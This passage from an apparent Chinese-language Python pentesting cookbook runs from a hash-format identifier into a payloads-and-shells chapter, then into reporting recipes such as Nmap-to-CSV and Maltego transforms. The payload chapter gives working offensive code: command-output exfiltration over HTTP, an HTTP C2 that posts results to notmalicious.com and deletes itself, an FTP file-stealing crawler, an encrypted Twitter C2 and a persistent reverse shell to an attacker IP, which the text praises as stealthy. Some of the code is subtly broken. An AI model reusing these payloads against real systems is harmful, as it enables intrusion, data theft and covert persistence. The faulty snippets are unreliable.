        result = [match.group(0) for match in valid_hash]
        if result: 
            return "This hash matches the format of: " + hashtype
    except: pass

然后我们要求用户输入,这样我们就有了一些东西可以与正则表达式进行匹配。这是正常进行的:

string_to_check = raw_input('Please enter the hash you wish to check: ')

完成这些后,我们可以继续进行复杂的正则表达式操作。我们使用正则表达式的原因是为了区分不同的哈希值,因为它们具有不同的长度和字符集。这对于 MD5 哈希非常有帮助,因为有许多不同类型的 MD5 哈希,比如 phpBB3 和 MyBB 论坛。

我们给一组正则表达式起一个逻辑的名字,比如 hashes,然后定义它们:

hashes = (
("Blowfish(Eggdrop)", r"^\+[a-zA-Z0-9\/\.]{12}$"),
("Blowfish(OpenBSD)", r"^\$2a\$[0-9]{0,2}?\$[a-zA-Z0- 9\/\.]{53}$"),
("Blowfish crypt", r"^\$2[axy]{0,1}\$[a-zA-Z0-9./]{8}\$[a-zA-Z0- 9./]{1,}$"),
("DES(Unix)", r"^.{0,2}[a-zA-Z0-9\/\.]{11}$"),
("MD5(Unix)", r"^\$1\$.{0,8}\$[a-zA-Z0-9\/\.]{22}$"),
("MD5(APR)", r"^\$apr1\$.{0,8}\$[a-zA-Z0-9\/\.]{22}$"),
("MD5(MyBB)", r"^[a-fA-F0-9]{32}:[a-z0-9]{8}$"),
("MD5(ZipMonster)", r"^[a-fA-F0-9]{32}$"),
("MD5 crypt", r"^\$1\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
("MD5 apache crypt", r"^\$apr1\$[a-zA-Z0-9./]{8}\$[a-zA-Z0- 9./]{1,}$"),
("MD5(Joomla)", r"^[a-fA-F0-9]{32}:[a-zA-Z0-9]{16,32}$"),
("MD5(Wordpress)", r"^\$P\$[a-zA-Z0-9\/\.]{31}$"),
("MD5(phpBB3)", r"^\$H\$[a-zA-Z0-9\/\.]{31}$"),
("MD5(Cisco PIX)", r"^[a-zA-Z0-9\/\.]{16}$"),
("MD5(osCommerce)", r"^[a-fA-F0-9]{32}:[a-zA-Z0-9]{2}$"),
("MD5(Palshop)", r"^[a-fA-F0-9]{51}$"),
("MD5(IP.Board)", r"^[a-fA-F0-9]{32}:.{5}$"),
("MD5(Chap)", r"^[a-fA-F0-9]{32}:[0-9]{32}:[a-fA-F0-9]{2}$"),
[...cut out...]
("NTLM)", r"^[0-9A-Fa-f]{32}$"),
)

然后我们需要找到一种方法以可管理的方式将数据返回给用户,而不让他们每次找到一个非匹配时都知道。我们通过创建一个计数器来实现这一点。我们将这个计数器的值设置为0并继续。然后我们创建一个名为text的函数,如果找到匹配,它将成为哈希名称的值。然后使用if语句来防止我们之前提到的不需要的消息。我们告诉脚本,如果text 不是 none,那么就找到了一个匹配,所以我们提高计数器的值并打印文本。使用计数器的想法意味着任何找到的非匹配都不会增加计数器,因此不会被打印给用户:

counter = 0
for h in hashes:
    text = hashcheck(h[0], h[1], string_to_check)
    if text is not None:
        counter += 1
        print text

我们通过以最礼貌的方式告知用户没有匹配来完成脚本!

if counter == 0:
    print "Your input hash did not match anything, sorry!"

以下是脚本运行的一些示例:

Please enter the hash you wish to check: ok
No Matches

前面的结果没有找到匹配,因为没有列出输出两个字符字符串的哈希系统。以下是一个成功找到的示例:

Please enter the hash you wish to check: fd7a4c43ad7c20dbea0dc6dacc12ef6c36c2c382a0111c92f24244690eba65a2
This hash matches the format of: SHA-256

第八章:负载和 Shell

在本章中,我们将涵盖以下主题:

  • 通过 HTTP 请求提取数据

  • 创建一个 HTTP C2

  • 创建 FTP C2

  • 创建 Twitter C2

  • 创建一个简单的 Netcat shell

介绍

在本章中,我们将讨论在 Python 中创建反向 shell 和负载的过程。一旦在 Linux 或 Mac 系统上识别出上传漏洞,Python 负载就处于下一步的甜蜜点。它们易于制作或定制以匹配特定系统,具有清晰的功能,最重要的是,几乎所有的 Mac 和 Linux 系统默认都安装了 Python 2.7。

通过 HTTP 请求提取数据

我们将要创建的第一个脚本将使用非常简单的技术从目标服务器中提取数据。有三个基本步骤:在目标上运行命令,通过 HTTP 请求将输出传输给攻击者,并查看结果。

准备就绪

此示例需要一个 Web 服务器,该服务器可在攻击者一侧访问,以便接收来自目标的 HTTP 请求。幸运的是,Python 有一种非常简单的方法来启动 Web 服务器:

$ Python –m SimpleHTTPServer

这将在端口8000上启动一个 HTTP Web 服务器,提供当前目录中的任何文件。它接收到的任何请求都将直接打印到控制台,这是一种非常快速获取数据的方法,因此是此脚本的一个很好的补充。

如何做…

这是一个将在服务器上运行各种命令并通过 Web 请求传输输出的脚本:

import requests
import urllib
import subprocess
from subprocess import PIPE, STDOUT

commands = ['whoami','hostname','uname']
out = {}

for command in commands:
    try:
            p = subprocess.Popen(command, stderr=STDOUT, stdout=PIPE)
            out[command] = p.stdout.read().strip()
    except:
        pass

requests.get('http://localhost:8000/index.html?' + urllib.urlencode(out))

工作原理…

导入之后,脚本的第一部分创建了一个命令数组:

commands = ['whoami','hostname','uname']

这是三个标准的 Linux 命令的示例,可以向攻击者提供有用的信息。请注意,这里假设目标服务器正在运行 Linux。使用前几章的脚本进行侦察,以确定目标操作系统,并在必要时用 Windows 等效命令替换此数组中的命令。

接下来,我们有主要的for循环:

            p = subprocess.Popen(command, stderr=STDOUT, stdout=PIPE)
            out[command] = p.stdout.read().strip()

代码的这部分执行命令并从subprocess中获取输出(将标准输出和标准错误都传输到单个subprocess.PIPE中)。然后将结果添加到输出字典中。请注意,我们在这里使用tryexcept语句,因为任何无法运行的命令都会引发异常。

最后,我们有一个单一的 HTTP 请求:

requests.get('http://localhost:8000/index.html?' + urllib.urlencode(out))

这使用urllib.encode将字典转换为 URL 编码的键/值对。这意味着任何可能影响 URL 的字符,例如&=,将被转换为它们的 URL 编码等效形式,例如%26%3D

请注意,脚本端不会有任何输出;一切都通过 HTTP 请求传递到攻击者的 Web 服务器(示例使用本地主机的端口8000)。GET请求如下所示:

工作原理…

创建一个 HTTP C2

在 URL 中公开您的命令的问题是,即使是半睡不醒的日志分析员也会注意到它。有多种方法可以隐藏请求,但是当您不知道响应文本将是什么样子时,您需要提供一种可靠的方法来伪装输出并将其返回到您的服务器。

我们将创建一个脚本,将命令和控制活动伪装成 HTTP 流量,从网页评论中获取命令,并将输出返回到留言簿中。

入门

为此,您需要一个正常运行的 Web 服务器,其中包括两个页面,一个用于托管您的评论,另一个用于托管检索页面。

您的评论页面应该只包含标准内容。为此,我使用 Nginx 默认主页,并在末尾添加评论。评论应表达为:

<!--cmdgoeshere-->

检索页面可以非常简单:

<?php

$host='localhost';
$username='user';
$password='password';
$db_name="data";
$tbl_name="data";

$comment = $_REQUEST['comment'];

mysql_connect($host, $username, $password) or die("Cannot contact server");
mysql_select_db($db_name)or die("Cannot find DB");

$sql="INSERT INTO $tbl_name VALUES('$comment')";

$result=mysql_query($sql);

mysql_close();
?>

基本上,这个 PHP 所做的是接收POST请求中名为comment的传入值,并将其放入数据库中。这非常基础,如果您有多个 shell,它不会区分多个传入命令。

如何做…

我们将使用的脚本如下:

import requests
import re
import subprocess
import time
import os

while 1:
  req = requests.get("http://127.0.0.1")
  comments = re.findall('<!--(.*)-->',req.text)
  for comment in comments:
    if comment = " ":
      os.delete(__file__)
    else:
      try:
        response = subprocess.check_output(comment.split())
      except:
        response = "command fail"
  data={"comment":(''.join(response)).encode("base64")}
  newreq = requests.post("http://notmalicious.com/c2.php", data=data)
  time.sleep(30)

以下是使用此脚本时产生的输出示例:

Name: TGludXggY2FtLWxhcHRvcCAzLjEzLjAtNDYtZ2VuZXJpYyAjNzktVWJ1bnR1IFNNU CBUdWUgTWFyIDEwIDIwOjA2OjUwIFVUQyAyMDE1IHg4Nl82NCB4ODZfNjQgeDg2X zY0IEdOVS9MaW51eAo= Comment:
Name: cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFl bW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9i aW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jp bi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5 bmM6L2JpbjovYmluL3N5bmMKZ Comment:

它是如何工作的...

像往常一样,我们导入必要的库并启动脚本:

import requests
import re
import subprocess
import time
import os

由于此脚本具有内置的自删除方法,因此我们可以设置它以以下循环永远运行:

while 1:

我们发出请求,检查我们预先配置的页面上是否有任何评论。如果有,我们将它们放在一个列表中。我们使用非常基本的regex来执行此检查:

  req = requests.get("http://127.0.0.1")
  comments = re.findall('<!--(.*)-->',req.text)

我们要做的第一件事是检查是否有空评论。这对脚本来说意味着它应该删除自己,这是一个非常重要的无人值守 C2 脚本机制。如果您希望脚本删除自己,只需在页面上留下一个空评论。脚本通过查找自己的名称并删除该名称来删除自己:

for comment in comments:
    if comment = " ":
      os.delete(__file__)

如果评论不为空,我们尝试使用subprocess命令将其传递给系统。重要的是你在命令上使用.split()来考虑subprocess如何处理多部分命令。我们使用.check_output将命令直接返回给我们分配的变量:

else:
      try:
        response = subprocess.check_output(comment.split())

如果命令失败,我们将响应值设置为命令失败

      except:
        response = "command fail"

我们取response变量并将其分配给与字典中的 PHP 脚本匹配的键。在这种情况下,字段名为comment,因此我们将输出分配给评论。我们对输出进行 base64 编码,以便考虑到任何可能干扰我们脚本的随机变量,例如空格或代码:

data={"comment":(''.join(response)).encode("base64")}

现在数据已经分配,我们将其发送到我们预先配置的服务器的POST请求中,并等待30秒再次检查评论中是否有进一步的指示:

newreq = requests.post("http://127.0.0.1/addguestbook.php", data=data)
  time.sleep(30)

创建 FTP C2

这个脚本是一个快速而肮脏的文件窃取工具。它沿着目录直线运行,抓取它接触到的一切。然后将这些导出到它指向的FTP目录。在您可以放置文件并希望快速获取服务器内容的情况下,这是一个理想的起点。

我们将创建一个连接到 FTP 的脚本,获取当前目录中的文件,并将它们导出到 FTP。然后它跳到下一个目录并重复。当它遇到两个相同的目录列表(也就是说,它到达了根目录)时,它就会停止。

入门

为此,您将需要一个正常运行的 FTP 服务器。我正在使用vsftpd,但您可以使用任何您喜欢的。您需要将凭据硬编码到脚本中(不建议)或者作为标志与凭据一起发送。

如何做...

我们将使用的脚本如下:

from ftplib import FTP
import time
import os

user = sys.argv[1]
pw = sys.argv[2]

ftp = FTP("127.0.0.1", user, pw)

filescheck = "aa"

loop = 0
up = "../"

while 1:
  files = os.listdir("./"+(i*up))
  print files

  for f in files:
    try:
      fiile = open(f, 'rb')
      ftp.storbinary('STOR ftpfiles/00'+str(f), fiile)
      fiile.close()
    else:
      pass

  if filescheck == files:
    break
  else:
    filescheck = files
    loop = loop+1
    time.sleep(10)
ftp.close()

它是如何工作的...

像往常一样,我们导入我们的库并设置我们的变量。我们已将用户名和密码设置为sys.argv,以避免硬编码,从而暴露我们的系统:

from ftplib import FTP
import time
import os

user = sys.argv[1]
pw = sys.argv[2]

然后我们使用 IP 地址和通过标志设置的凭据连接到我们的 FTP。您还可以将 IP 作为sys.argv传递,以避免硬编码:

ftp = FTP("127.0.0.1", user, pw)

我设置了一个 nonce 值,它与目录检查方法的第一个目录不匹配。我们还将循环设置为0,并将"上一个目录"命令配置为一个变量,类似于第三章中的目录遍历脚本,漏洞识别

filescheck = "aa"

loop = 0
up = "../"

然后我们创建我们的主循环以永远重复并创建我们选择的目录调用。我们列出我们调用的目录中的文件并将其分配给一个变量。您可以选择在这里打印文件列表,如我所做的那样,以进行诊断目的,但这没有任何区别:

while 1:
  files = os.listdir("./"+(i*up))
  print files

对于在目录中检测到的每个文件,我们尝试打开它。重要的是我们用rb打开文件,因为这允许它作为二进制文件读取,使其可以作为二进制文件传输。如果可以打开,我们使用storbinary命令将其传输到 FTP。然后我们关闭文件以完成交易:

  try:
      fiile = open(f, 'rb')
      ftp.storbinary('STOR ftpfiles/00'+str(f), fiile)
      fiile.close()

如果由于任何原因我们无法打开或传输文件,我们只需继续到列表中的下一个文件:

  else:
      pass

然后我们检查是否自上次命令以来改变了目录。如果没有,我们就跳出主循环:

if filescheck == files:
    break

如果目录列表不匹配,我们将filecheck变量设置为匹配当前目录,通过1迭代循环,并休眠10秒以避免向服务器发送垃圾邮件:

else:
    filescheck = files
    loop = loop+1
    time.sleep(10)

最后,一切都完成后,我们关闭与 FTP 服务器的连接:

ftp.close()

创建 Twitter C2

在一定程度上,请求互联网上的随机页面是可以接受的,但一旦安全运营中心SOC)分析员仔细查看所有消失在管道中的数据,很明显这些请求是发往一个可疑站点,因此很可能与恶意流量相关。幸运的是,社交媒体在这方面提供了帮助,并允许我们将数据隐藏在明处。

我们将创建一个连接到 Twitter 的脚本,读取推文,根据这些推文执行命令,加密响应数据,并将其发布到 Twitter。我们还将创建一个解码脚本。

入门

为此,您需要一个带有 API 密钥的 Twitter 帐户。

如何做…

我们将使用的脚本如下:

from twitter import *
import os
from Crypto.Cipher import ARC4
import subprocess
import time

token = ''
token_key = ''
con_secret = ''
con_secret_key = ''
t = Twitter(auth=OAuth(token, token_key, con_secret, con_secret_key))

while 1:
  user = t.statuses.user_timeline()
  command = user[0]["text"].encode('utf-8')
  key = user[1]["text"].encode('hex')
  enc = ARC4.new(key)
  response = subprocess.check_output(command.split())

  enres = enc.encrypt(response).encode("base64")

  for i in xrange(0, len(enres), 140):
          t.statuses.update(status=enres[i:i+140])
  time.sleep(3600)

解码脚本如下:

from Crypto.Cipher import ARC4
key = "".encode("hex")
response = ""
enc = ARC4.new(key)
response = response.decode("base64")
print enc.decrypt(response)

脚本进行中的示例如下:

如何做…

它是如何工作的…

我们像往常一样导入我们的库。有很多 Twitter 的 Python 库;我只是使用了code.google.com/p/python-twitter/上可用的标准 twitter API。代码如下:

from twitter import *
import os
from Crypto.Cipher import ARC4
import subprocess
import time

为了满足 Twitter 的身份验证要求,我们需要从developer.twitter.comApp 页面中检索App 令牌App 密钥用户令牌用户密钥。我们将它们分配给变量,并设置我们与 Twitter API 的连接:

token = ''
token_key = ''
con_secret = ''
con_secret_key = ''
t = Twitter(auth=OAuth(token, token_key, con_secret, con_secret_key))

我们设置一个无限循环:

while 1:

我们调用已设置的帐户的用户时间线。这个应用程序必须对 Twitter 帐户具有读写权限很重要。然后我们取最近推文的最后一条文本。我们需要将其编码为 UTF-8,因为通常有一些字符,普通编码无法处理:

user = t.statuses.user_timeline()
command = user[0]["text"].encode('utf-8')

然后我们取最后一条推文作为我们加密的密钥。我们将其编码为hex以避免出现空格匹配空格的情况:

key = user[1]["text"].encode('hex')
enc = ARC4.new(key)

我们通过使用subprocess函数执行操作。我们使用预设的 XOR 加密加密输出,并将其编码为 base64:

response = subprocess.check_output(command.split())
enres = enc.encrypt(response).encode("base64")

我们将加密和编码的响应分成 140 个字符的块,以适应 Twitter 的字符限制。对于每个块,我们创建一个 Twitter 状态:

for i in xrange(0, len(enres), 140):
  t.statuses.update(status=enres[i:i+140])

因为每个步骤都需要两条推文,我在每个命令检查之间留了一个小时的间隔,但您可以很容易地根据自己的需要进行更改:

time.sleep(3600)

对于解码,导入RC4库,将您的关键推文设置为密钥,并将重新组装的 base64 设置为响应:

from Crypto.Cipher import ARC4
key = "".encode("hex")
response = ""

使用关键字设置一个新的RC4代码,从 base64 解码数据,并使用关键字解密它:

enc = ARC4.new(key)
response = response.decode("base64")
print enc.decrypt(response)

创建一个简单的 Netcat shell

我们将创建以下脚本,利用原始套接字从网络中泄露数据。这个 shell 的一般思想是在受损的机器和您自己的机器之间创建一个连接,通过 Netcat(或其他程序)会话发送命令到这台机器。

这个 Python 脚本的美妙之处在于它的隐蔽性,因为它看起来就像一个完全合法的脚本。

如何做…

这是将通过 Netcat 建立连接并读取输入的脚本:

import socket
import subprocess
import sys
import time

HOST = '172.16.0.2'    # Your attacking machine to connect back to
PORT = 4444           # The port your attacking machine is listening on

def connect((host, port)):
   go = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   go.connect((host, port))
   return go

def wait(go):
   data = go.recv(1024)
   if data == "exit\n":
      go.close()
      sys.exit(0)
   elif len(data)==0:
      return True
   else:
      p = subprocess.Popen(data, shell=True,
         stdout=subprocess.PIPE, stderr=subprocess.PIPE,
         stdin=subprocess.PIPE)
      stdout = p.stdout.read() + p.stderr.read()
      go.send(stdout)
      return False

def main():
   while True:
      dead=False
      try:
         go=connect((HOST,PORT))
         while not dead:
            dead=wait(go)
         go.close()
      except socket.error:
         pass
      time.sleep(2)

if __name__ == "__main__":
   sys.exit(main())

它是如何工作的…

要像往常一样启动脚本,我们需要导入将在整个脚本中使用的模块:

import socket
import subprocess
import sys
import time

然后我们需要定义我们的变量:这些值是攻击机器的 IP 和端口,以建立连接:

HOST = '172.16.0.2'    # Your attacking machine to connect back to
PORT = 4444           # The port your attacking machine is listening on

然后我们继续定义原始连接;然后我们可以为我们建立的值分配一个值,并在以后引用它来读取输入并发送标准输出。

我们回顾一下之前设置的主机和端口值,并创建连接。我们将已建立的连接赋予go的值:

def connect((host, port)):
   go = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   go.connect((host, port))
   return go

然后,我们可以引入一段代码,用于等待部分。这将通过攻击机的 Netcat 会话等待发送给它的命令。我们确保通过会话发送的数据被导入到 shell 中,并且其标准输出通过已建立的 Netcat 会话返回给我们,从而通过反向连接为我们提供 shell 访问权限。

我们给通过 Netcat 会话传递给受损机器的值命名为数据。脚本中添加了一个值,用于在用户完成操作时退出会话;我们选择了exit,这意味着在 Netcat 会话中输入 exit 将终止已建立的连接。然后,我们开始处理数据的细节部分,其中数据被打开(读取)并被导入到 shell 中。完成后,我们确保读取stdout值并赋予一个值stdout(这可以是任何值),然后通过之前建立的go会话将其发送回给我们自己。代码如下:

def wait(go):
   data = go.recv(1024)
   if data == "exit\n":
      go.close()
      sys.exit(0)
   elif len(data)==0:
      return True
   else:
      p = subprocess.Popen(data, shell=True,
         stdout=subprocess.PIPE, stderr=subprocess.PIPE,
         stdin=subprocess.PIPE)
      stdout = p.stdout.read() + p.stderr.read()
      go.send(stdout)
      return False

我们脚本的最后部分是错误检查和运行部分。在脚本运行之前,我们确保让 Python 知道我们有一个机制来检查会话是否处于活动状态,方法是使用我们之前的真实语句。如果连接丢失,Python 脚本将尝试重新与攻击机建立连接,使其成为一个持久的后门:

def main():
   while True:
      dead=False
      try:
         go=connect((HOST,PORT))
         while not dead:
            dead=wait(go)
         go.close()
      except socket.error:
         pass
      time.sleep(2)

if __name__ == "__main__":
   sys.exit(main())

第九章:报告

在本章中,我们将涵盖以下主题:

  • 将 Nmap XML 转换为 CSV

  • 从 URL 提取链接到 Maltego

  • 从 URL 提取电子邮件到 Maltego

  • 将 Sslscan 解析为 CSV

  • 使用plot.ly生成图表

介绍

我们在本书中有各种执行 Web 应用程序测试的方法。因此,我们有所有这些信息。我们从我们的方法中得到控制台输出,但是如何将所有这些收集到一个有用的格式中呢?理想情况下,我们希望输出以一种我们可以使用的格式。或者我们可能希望将来自另一个应用程序(如 Nmap)的输出转换为我们正在使用的格式。这可以是逗号分隔变量CSV),或者可能是 Maltego 变换,或者任何您想要使用的其他格式。

你刚才提到的 Maltego 是什么?我听到你问。Maltego 是一个开源情报OSINT)和取证应用程序。它有一个漂亮的 GUI,可以帮助您以一种漂亮、漂亮且易于理解的方式可视化您的信息。

将 Nmap XML 转换为 CSV

Nmap 是在 Web 应用程序测试的侦察阶段中常用的工具。通常用于使用各种选项扫描端口,以帮助您自定义扫描的方式。例如,您想要进行 TCP 还是 UDP?您想设置什么 TCP 标志?是否有特定的 Nmap 脚本,例如检查网络时间协议NTP)反射,但在非默认端口上运行?列表可能是无穷无尽的。

Nmap 输出很容易阅读,但在程序化的方式下并不容易使用。这个简单的示例将把 Nmap 的 XML 输出(通过在运行 Nmap 扫描时使用-oX 标志)转换为 CSV 输出。

准备工作

虽然这个示例在实现上非常简单,但您需要安装 Python 的nmap模块。您可以使用pip或从源文件构建它来实现。您还需要来自 Nmap 扫描的 XML 输出。您可以从扫描您选择的易受攻击的虚拟机或您有权限扫描的站点中获取这些输出。您可以直接使用 Nmap,也可以在 Python 脚本中使用 Python 的nmap模块来实现。

如何做…

就像我之前提到的,这个示例非常简单。这主要是因为nmap库已经为我们做了大部分的工作。

这是我们将用于此任务的脚本:

import sys
import os
import nmap

nm=nmap.Portscanner()
with open(“./nmap_output.xml”, “r”) as fd:
    content = fd.read()
    nm.analyse_nmap_xml_scan(content)
    print(nm.csv())

工作原理…

因此,在导入必要的模块之后,我们必须初始化 Nmap 的Portscanner函数。尽管在这个示例中我们不会进行任何端口扫描,但这是必要的,以便我们可以使用对象中的方法:

nm=nmap.Portscanner()

然后,我们有一个with语句。那是什么?以前,在 Python 中打开文件时,您必须记住在完成后关闭它。在这种情况下,with语句将在其中的所有代码执行完毕后为您关闭文件。如果您记忆力不好,经常忘记在代码中关闭文件,这将非常有用:

with open(“./nmap_output.xml”, “r”) as fd:

with语句之后,我们将文件的内容读入content变量中(我们可以将此变量命名为任何我们想要的,但为什么要使事情变得过于复杂呢?):

    content = fd.read()

使用我们之前创建的Portscanner对象,我们现在可以分析我们提供的 XML 输出的内容,然后将其打印为 CSV:

nm.analyse_nmap_xml_scan(content)
    print(nm.csv())

从 URL 提取链接到 Maltego

本书中还有另一个示例,说明如何使用BeautifulSoup库以编程方式获取域名。这个示例将向您展示如何创建一个本地的 Maltego 变换,然后您可以在 Maltego 中使用它以一种易于使用、图形化的方式生成信息。通过从这个变换中收集的链接,这也可以作为更大的爬虫或抓取解决方案的一部分使用。

如何做…

以下代码显示了如何创建一个脚本,将枚举信息输出到 Maltego 的正确格式中:

import urllib2
from bs4 import BeautifulSoup
import sys

tarurl = sys.argv[1]
if tarurl[-1] == “/”:
  tarurl = tarurl[:-1]
print”<MaltegoMessage>”
print”<MaltegoTransformResponseMessage>”
print”  <Entities>”

url = urllib2.urlopen(tarurl).read()
soup = BeautifulSoup(url)
for line in soup.find_all(‘a’):
  newline = line.get(‘href’)
  if newline[:4] == “http”:
    print”<Entity Type=\”maltego.Domain\”>” 
    print”<Value>”+str(newline)+”</Value>”
    print”</Entity>”
  elif newline[:1] == “/”:
    combline = tarurl+newline
    print”<Entity Type=\”maltego.Domain\”>” 
    print”<Value>”+str(combline)+”</Value>”
    print”</Entity>”
print”  </Entities>”
print”</MaltegoTransformResponseMessage>”
print”</MaltegoMessage>”

它是如何工作的…

首先,我们为这个配方导入所有必要的模块。您可能已经注意到,对于BeautifulSoup,我们有以下行:

from bs4 import BeautifulSoup

这样,当我们使用BeautifulSoup时,我们只需输入BeautifulSoup,而不是bs4.BeautifulSoup

然后,我们将提供的目标 URL 分配给一个变量:

tarurl = sys.argv[1]

完成后,我们检查目标 URL 是否以/结尾。如果是,则通过用tarurl变量替换tarurl的最后一个字符之外的所有字符,以便在配方中输出完整的相对链接时可以稍后使用:

if tarurl[-1] == “/”:
  tarurl = tarurl[:-1]

然后,我们打印出构成 Maltego 变换响应的标签:

print”<MaltegoMessage>”
print”<MaltegoTransformResponseMessage>”
print”  <Entities>”

然后,我们使用urllib2打开目标url并将其存储在BeautifulSoup中:

url = urllib2.urlopen(tarurl).read()
soup = BeautifulSoup(url)

我们现在使用 soup 来查找所有<a>标签。更具体地说,我们将寻找具有超文本引用(链接)的<a>标签:

for line in soup.find_all(‘a’):
  newline = line.get(‘href’)

如果链接的前四个字符是http,我们将其输出为 Maltego 的实体的正确格式:

if newline[:4] == “http”:
    print”<Entity Type=\”maltego.Domain\”>”
    print”<Value>”+str(newline)+”</Value>”
    print”</Entity>”

如果第一个字符是/,表示链接是相对链接,那么我们将在将目标 URL 添加到链接之后将其输出到正确的格式。虽然这个配方展示了如何处理相对链接的一个示例,但重要的是要注意,还有其他类型的相对链接,比如只是一个文件名(example.php),一个目录,以及相对路径点符号(../../example.php),如下所示:

elif newline[:1] == “/”:
    combline = tarurl+newline
    if 
    print”<Entity Type=\”maltego.Domain\”>”
    print”<Value>”+str(combline)+”</Value>”
    print”</Entity>”

在我们处理页面上的所有链接之后,我们关闭了输出开始时打开的所有标签:

print”  </Entities>”
print”</MaltegoTransformResponseMessage>”
print”</MaltegoMessage>”

还有更多…

BeautifulSoup库包含其他可以使您的代码更简单的函数。其中一个函数叫做SoupStrainer。SoupStrainer 允许您仅解析您想要的文档部分。我们留下这个作为一个让您探索的练习。

将电子邮件提取到 Maltego

本书中还有另一个配方,说明了如何从网站中提取电子邮件。这个配方将向您展示如何创建一个本地的 Maltego 变换,然后您可以在 Maltego 本身中使用它来生成信息。它可以与 URL 蜘蛛变换一起使用,从整个网站中提取电子邮件。

如何做…

以下代码显示了如何通过使用正则表达式从网站中提取电子邮件:

import urllib2
import re
import sys

tarurl = sys.argv[1]
url = urllib2.urlopen(tarurl).read()
regex = re.compile((“([a-z0-9!#$%&’*+\/=?^_`{|}~- ]+(?:\.[*+\/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&’*+\/=?^_`” “{|}~- ]+)*(@|\sat\s)(?:a-z0-9?(\.|” “\ sdot\s))+a-z0-9?)”))

print”<MaltegoMessage>”
print”<MaltegoTransformResponseMessage>”
print”  <Entities>”
emails = re.findall(regex, url)
for email in emails:
  print”    <Entity Type=\”maltego.EmailAddress\”>”
  print”      <Value>”+str(email[0])+”</Value>”
  print”    </Entity>”
print”  </Entities>”
print”</MaltegoTransformResponseMessage>”
print”</MaltegoMessage>”

它是如何工作的…

脚本的顶部导入了必要的模块。之后,我们将提供的 URL 分配为一个变量,并使用urllib2打开url列表:

tarurl = sys.argv[1]
url = urllib2.urlopen(tarurl).read()

然后,我们创建一个匹配标准电子邮件地址格式的正则表达式:

regex = re.compile((“([a-z0-9!#$%&’*+\/=?^_`{|}~-]+(?:\.[a-z0- 9!#$%&’*+\/=?^_`” “{|}~-]+)*(@|\sat\s)(?:a-z0-9?(\.|” “\sdot\s))+a-z0-9?)”))

前面的正则表达式应匹配格式为email@address.com或电子邮件在地址点 com 中的电子邮件地址。

然后,我们输出了一个有效的 Maltego 变换输出所需的标签:

print”<MaltegoMessage>”
print”<MaltegoTransformResponseMessage>”
print”  <Entities>”

然后,我们找到url内容中与我们的正则表达式匹配的所有文本实例:

emails = re.findall(regex, url)

然后,我们找到我们找到的每个电子邮件地址,并以正确的格式输出到 Maltego 变换响应中:

for email in emails:
  print”    <Entity Type=\”maltego.EmailAddress\”>”
  print”      <Value>”+str(email[0])+”</Value>”
  print”    </Entity>”

然后,我们关闭了之前打开的标签:

print”  </Entities>”
print”</MaltegoTransformResponseMessage>”
print”</MaltegoMessage>”

将 Sslscan 解析为 CSV

Sslscan 是一种用于枚举 HTTPS 站点支持的密码的工具。了解站点支持的密码对 Web 应用程序测试很有用。如果一些支持的密码较弱,这在渗透测试中更有用。

如何做…

这个配方将在指定的 IP 地址上运行 Sslscan,并将结果输出为 CSV 格式:

import subprocess
import sys

ipfile = sys.argv[1]

IPs = open(ipfile, “r”)
output = open(“sslscan.csv”, “w+”)

for IP in IPs:
  try:
    command = “sslscan “+IP

    ciphers = subprocess.check_output(command.split())

    for line in ciphers.splitlines():
      if “Accepted” in line:
        output.write(IP+”,”+line.split()[1]+”,”+ line.split()[4]+”,”+line.split()[2]+”\r”)
  except:
    pass

它是如何工作的…

我们首先导入必要的模块,并将参数中提供的文件名分配给一个变量:

import subprocess
import sys

ipfile = sys.argv[1]

提供的文件名应指向包含 IP 地址列表的文件。我们以只读方式打开此文件:

IPs = open(ipfile, “r”)

然后,我们打开一个文件以进行读取和写入输出,而不是使用r

output = open(“sslscan.csv”, “w+”)

现在我们有了输入和写输出的地方,我们已经准备好了。我们首先通过 IP 地址进行迭代:

for IP in IPs:

对于每个 IP,我们运行 Sslscan:

  try:
    command = “sslscan “+IP

然后我们将命令的输出分成几块:

    ciphers = subprocess.check_output(command.split())

然后我们逐行查看输出。如果行包含Accepted这个词,那么我们会为 CSV 输出排列行的元素:

    for line in ciphers.splitlines():
      if “Accepted” in line:
        output.write(IP+”,”+line.split()[1]+”,”+ line.split()[4]+”,”+line.split()[2]+”\r”)

最后,如果由于任何原因尝试对 IP 运行 SSL 扫描失败,我们只需继续下一个 IP 地址:

  except:
  pass

使用 plot.ly 生成图表

有时候有一个数据的可视化表示真的很好。在这个示例中,我们将使用plot.ly python API 来生成一个漂亮的图表。

准备就绪

在这个示例中,我们将使用plot.ly API 来生成我们的图表。如果您还没有账户,您需要在plot.ly注册一个账户。

一旦您有了账户,您就需要准备好使用plot.ly的环境。

最简单的方法是使用pip来安装它,所以只需运行以下命令:

$ pip install plotly

然后,您需要运行以下命令(用您自己的用户名、API 密钥和流 ID 替换{username}{apikey}{streamids},这些信息可以在plot.ly网站的账户订阅下查看):

python -c “import plotly;  plotly.tools.set_credentials_file(username=’{username}’,  api_key=’{apikey}’, stream_ids=[{streamids}])”

如果您正在按照这个示例进行操作,我使用的是在线测试的pcap文件:www.snaketrap.co.uk/pcaps/hbot.pcap

我们将枚举pcap文件中的所有 FTP 数据包,并将它们根据时间绘制出来。

为了解析pcap文件,我们将使用dpkt模块。就像之前的示例中使用的Scapy一样,dpkt可以用来解析和操作数据包。

最简单的方法是使用pip来安装它。只需运行以下命令:

$ pip install dpkt

如何做…

这个示例将读取一个pcap文件,并提取任何 FTP 数据包的日期和时间,然后将这些数据绘制成图表:

import time, dpkt
import plotly.plotly as py
from plotly.graph_objs import *
from datetime import datetime

filename = ‘hbot.pcap’

full_datetime_list = []
dates = []

for ts, pkt in dpkt.pcap.Reader(open(filename,’rb’)):
    eth=dpkt.ethernet.Ethernet(pkt) 
    if eth.type!=dpkt.ethernet.ETH_TYPE_IP:
        continue

    ip = eth.data
    tcp=ip.data

    if ip.p not in (dpkt.ip.IP_PROTO_TCP, dpkt.ip.IP_PROTO_UDP):
        continue

